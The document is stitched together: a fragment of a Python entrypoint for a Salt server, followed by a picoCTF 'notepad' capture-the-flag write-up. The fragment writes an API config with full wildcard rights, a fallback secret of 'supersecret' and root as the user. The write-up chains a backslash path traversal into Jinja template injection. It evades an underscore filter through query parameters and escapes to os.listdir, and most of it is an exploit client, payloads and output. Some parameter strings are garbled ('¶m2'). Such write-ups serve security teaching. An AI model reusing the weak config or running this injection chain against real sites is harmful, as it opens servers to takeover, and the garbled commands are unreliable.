futures.append(await asyncio.create_subprocess_exec('salt-proxy'))
else:
if not os.path.exists('/etc/salt/master.d/api.conf'):
with open('/etc/salt/master.d/api.conf', 'w') as apifile:
if 'SALT_API_CONFIG' in os.environ:
json.dump(json.loads(os.environ['SALT_API_CONFIG']), apifile)
else:
json.dump({
'rest_cherrypy': {
'port': 8000,
'ssl_crt': '/etc/pki/tls/certs/localhost.crt',
'ssl_key': '/etc/pki/tls/certs/localhost.key',
},
'external_auth': {
'sharedsecret': {
'salt': ['.*', '@wheel', '@jobs', '@runner'],
},
},
'sharedsecret': os.environ.get('SALT_SHARED_SECRET', 'supersecret'),
}, apifile)
if 'SALT_MASTER_CONFIG' in os.environ:
with open('/etc/salt/master.d/master.conf', 'w') as masterfile:
json.dump(json.loads(os.environ['SALT_MASTER_CONFIG']), masterfile)
with open('/etc/salt/master.d/user.conf', 'w') as userfile:
json.dump({'user': 'root'}, userfile)
futures.append(await asyncio.create_subprocess_exec('salt-api'))
futures.append(await asyncio.create_subprocess_exec('salt-master'))
futures.append(await asyncio.create_subprocess_exec("/usr/sbin/sshd", "-D"))
futures.append(await asyncio.create_subprocess_exec("/usr/sbin/cron", "-f", "-L", "15"))
await asyncio.gather(*[future.communicate() for future in futures])
if __name__ == '__main__':
loop = asyncio.get_event_loop()
for signame in {'SIGINT', 'SIGTERM'}:
loop.add_signal_handler(getattr(signal, signame), loop.stop)
try:
loop.run_until_complete(main())
finally:
loop.close()
|
sec-knowleage
|
# notepad
Web, 250 points
## Description
> This note-taking site seems a bit off.
The application sources were attached:
`app.py`:
```python
from werkzeug.urls import url_fix
from secrets import token_urlsafe
from flask import Flask, request, render_template, redirect, url_for
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html", error=request.args.get("error"))
@app.route("/new", methods=["POST"])
def create():
content = request.form.get("content", "")
if "_" in content or "/" in content:
return redirect(url_for("index", error="bad_content"))
if len(content) > 512:
return redirect(url_for("index", error="long_content", len=len(content)))
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
with open(name, "w") as f:
f.write(content)
return redirect(name)
```
`Dockerfile`:
```
FROM python:3.9.2-slim-buster
RUN pip install flask gunicorn --no-cache-dir
WORKDIR /app
COPY app.py flag.txt ./
COPY templates templates
RUN mkdir /app/static && \
chmod -R 775 . && \
chmod 1773 static templates/errors && \
mv flag.txt flag-$(cat /proc/sys/kernel/random/uuid).txt
CMD ["gunicorn", "-w16", "-t5", "--graceful-timeout", "0", "-unobody", "-gnogroup", "-b0.0.0.0", "app:app"]
```
`templates/index.html`:
```html
<!doctype html>
{% if error is not none %}
<h3>
error: {{ error }}
</h3>
{% include "errors/" + error + ".html" ignore missing %}
{% endif %}
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
```
`templates/errors/bad_content.html`:
```html
the note contained invalid characters
```
`templates/errors/long_content.html`:
```html
your note (length {{ request.args.get("len") }}) was larger than the maximum (512)
```
## Solution
We visit the website and get a note-taking application. After posting a note, the note contents get saved to a file on the server and we can visit it and view the note.
For example, if we post `test`, we are redirected to a URL such as `https://notepad.mars.picoctf.net/static/test-gDpEQjbSwSQ.html` which contains our note: `test`. The URL is composed of the first 128 characters of our note, concatenated to a hyphen and then a random string. The file is saved as an HTML file in the `static` folder.
Reviewing the code, we know that we can affect the address to which the note is written to, since we control the content:
```python
f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
```
For example, if we would enter a path that contains a slash into the first 128 characters of the note, we would be able to change the directory to which the file is written to. However, the application checks for this earlier:
```python
if "_" in content or "/" in content:
return redirect(url_for("index", error="bad_content"))
```
Notice though that `content[:128]` isn't used as-is for the path - it's first passed to `werkzeug.urls.url_fix`:
```python
def url_fix(s: str, charset: str = "utf-8") -> str:
r"""Sometimes you get an URL by a user that just isn't a real URL because
it contains unsafe characters like ' ' and so on. This function can fix
some of the problems in a similar way browsers handle data entered by the
user:
>>> url_fix('http://de.wikipedia.org/wiki/Elf (Begriffskl\xe4rung)')
'http://de.wikipedia.org/wiki/Elf%20(Begriffskl%C3%A4rung)'
:param s: the string with the URL to fix.
:param charset: The target charset for the URL if the url was given
as a string.
"""
# First step is to switch to text processing and to convert
# backslashes (which are invalid in URLs anyways) to slashes. This is
# consistent with what Chrome does.
s = _to_str(s, charset, "replace").replace("\\", "/")
# For the specific case that we look like a malformed windows URL
# we want to fix this up manually:
if s.startswith("file://") and s[7:8].isalpha() and s[8:10] in (":/", "|/"):
s = f"file:///{s[7:]}"
url = url_parse(s)
path = url_quote(url.path, charset, safe="/%+$!*'(),")
qs = url_quote_plus(url.query, charset, safe=":&%=+$!*'(),")
anchor = url_quote_plus(url.fragment, charset, safe=":&%=+$!*'(),")
return url_unparse((url.scheme, url.encode_netloc(), path, qs, anchor))
```
Fortunately for us, the first step of the function is to switch to text processing and to convert backslashes (which are invalid in URLs anyways) to slashes. So, we can use this to bypass the slash check and write to a different directory.
Where should we write to? Well, one interesting place to write a file to is `templates/errors`. We can then use the following logic to include the file we've written to as part of a template, by harnessing:
```html
{% if error is not none %}
<h3>
error: {{ error }}
</h3>
{% include "errors/" + error + ".html" ignore missing %}
{% endif %}
```
Let's try the flow once manually and then automate it.
We will paste the following note:
```
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg
This is a test
```
We use the first 128 characters to control where the note will be written to. We want it to be written to `/templates/errors`, and we fill up the rest of the 128 characters with fillers so that our "payload" (currently `This is a test` following directly after) doesn't get mixed in with the file name.
After posting this note, we get redirected to `https://notepad.mars.picoctf.net/templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg-fY1TxE2Zt-M.html`. So we take the HTML file name, and visit:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/notepad]
└─$ curl https://notepad.mars.picoctf.net/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg-fY1TxE2Zt-M
<!doctype html>
<h3>
error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg-fY1TxE2Zt-M
</h3>
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg
This is a test
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
```
We can see our payload included in the HTML response.
Now for some automation:
```python
import re, os
import requests
import html
from cmd import Cmd
from urllib.parse import urlparse
from pathlib import Path
BASE_URL = "https://notepad.mars.picoctf.net"
START_MARKER = "###START###"
END_MARKER = "###END###"
class MyPrompt(Cmd):
def __init__(self):
Cmd.__init__(self)
self.marker_regex = re.compile(f"{START_MARKER}(.*){END_MARKER}")
def do_exit(self, inp):
return True
def do_send(self, data):
split_data = data.split(" ")
payload = split_data.pop(0)
params = "&" + split_data.pop(0) if split_data else ""
file_url = "..\\templates\\errors\\".ljust(128, 'a')
data = {
"content": f"{file_url}\n{START_MARKER}{payload}{END_MARKER}"
}
r = requests.post(f"{BASE_URL}/new", data = data)
if "?error=" in r.url:
print(f"Error: Redirected to {r.url}")
return
new_file_name = Path(urlparse(r.url).path).stem
r = requests.get(f"{BASE_URL}?error={new_file_name}{params}")
match = self.marker_regex.search(r.text)
print(html.unescape(match.group(1)))
MyPrompt().cmdloop()
```
This basically does the same thing, with a few added features:
* Extracting just the payload from the HTML file using start and end markers
* Allowing us to provide parameters to the page we are visiting (we'll use that soon)
Let's try it out:
```
(Cmd) send test
test
```
Since our payload gets interpreted as a Flask template, we can inject template syntax:
```
(Cmd) send {{request}}
<Request 'http://notepad.mars.picoctf.net/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-8YBEL1R-vo4' [GET]>
```
We'll use it to try and execute the [known](https://gynvael.coldwind.pl/n/python_sandbox_escape) Python Sandbox escape to achieve RCE. For the first phase, we need to access the `__class__` of some Python object. However, we can't use this:
```
(Cmd) send {{request.__class__}}
Error: Redirected to https://notepad.mars.picoctf.net/?error=bad_content
```
This is since underscore is blocked:
```python
if "_" in content or "/" in content:
return redirect(url_for("index", error="bad_content"))
```
This is where the parameters come in. Instead of using `request.__class__`, we use `request[request.args.param1]` and send `param1=__class__`.
```
(Cmd) send {{request[request.args.param1]}} param1=__class__
<class 'flask.wrappers.Request'>
```
We continue:
```
(Cmd) send {{request[request.args.param1][request.args.param2]}} param1=__class__¶m2=__mro__
(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>)
(Cmd) send {{request[request.args.param1][request.args.param2][11]}} param1=__class__¶m2=__mro__
<class 'object'>
(Cmd) send {{request[request.args.param1][request.args.param2][11][request.args.param3]}} param1=__class__¶m2=__mro_
_¶m3=__subclasses__
<built-in method __subclasses__ of type object at 0x7f562ad627c0>
(Cmd) send {{request[request.args.param1][request.args.param2][11][request.args.param3]()}} param1=__class__¶m2=__mr
o__¶m3=__subclasses__
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'array.array'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'textwrap.TextWrapper'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class 'pyexpat.xmlparser'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class '__future__._Feature'>, <class 'pkg_resources.extern.packaging._structures.InfinityType'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinityType'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Undefined'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class 'gunicorn.pidfile.Pidfile'>, <class 'gunicorn.sock.BaseSocket'>, <class 'gunicorn.arbiter.Arbiter'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'shlex.shlex'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'gunicorn.reloader.InotifyReloader'>, <class 'gunicorn.config.Config'>, <class 'gunicorn.config.Setting'>, <class 'gunicorn.debug.Spew'>, <class 'gunicorn.app.base.BaseApplication'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class 'logging.handlers.QueueListener'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'logging.config.ConvertingMixin'>, <class 'logging.config.BaseConfigurator'>, <class 'gunicorn.glogging.Logger'>, <class 'gunicorn.http.body.ChunkedReader'>, <class 'gunicorn.http.body.LengthReader'>, <class 'gunicorn.http.body.EOFReader'>, <class 'gunicorn.http.body.Body'>, <class 'gunicorn.http.message.Message'>, <class 'gunicorn.http.unreader.Unreader'>, <class 'gunicorn.http.parser.Parser'>, <class 'gunicorn.http.wsgi.FileWrapper'>, <class 'gunicorn.http.wsgi.Response'>, <class 'gunicorn.workers.workertmp.WorkerTmp'>, <class 'gunicorn.workers.base.Worker'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'hmac.HMAC'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'unicodedata.UCD'>]
(Cmd) send {{request[request.args.param1][request.args.param2][11][request.args.param3]()[183]}} param1=__class__¶m2
=__mro__¶m3=__subclasses__
<class 'warnings.catch_warnings'>
(Cmd) send {{request[request.args.p1][request.args.p2][11][request.args.p3]()[183]()[request.args.p4][request.args.p5][request.args.p6]('os').listdir('.')}} p1=__class__&p2=__mro__&p3=__subclasses__&p4=_module&p5=__builtins__&p6=__import__
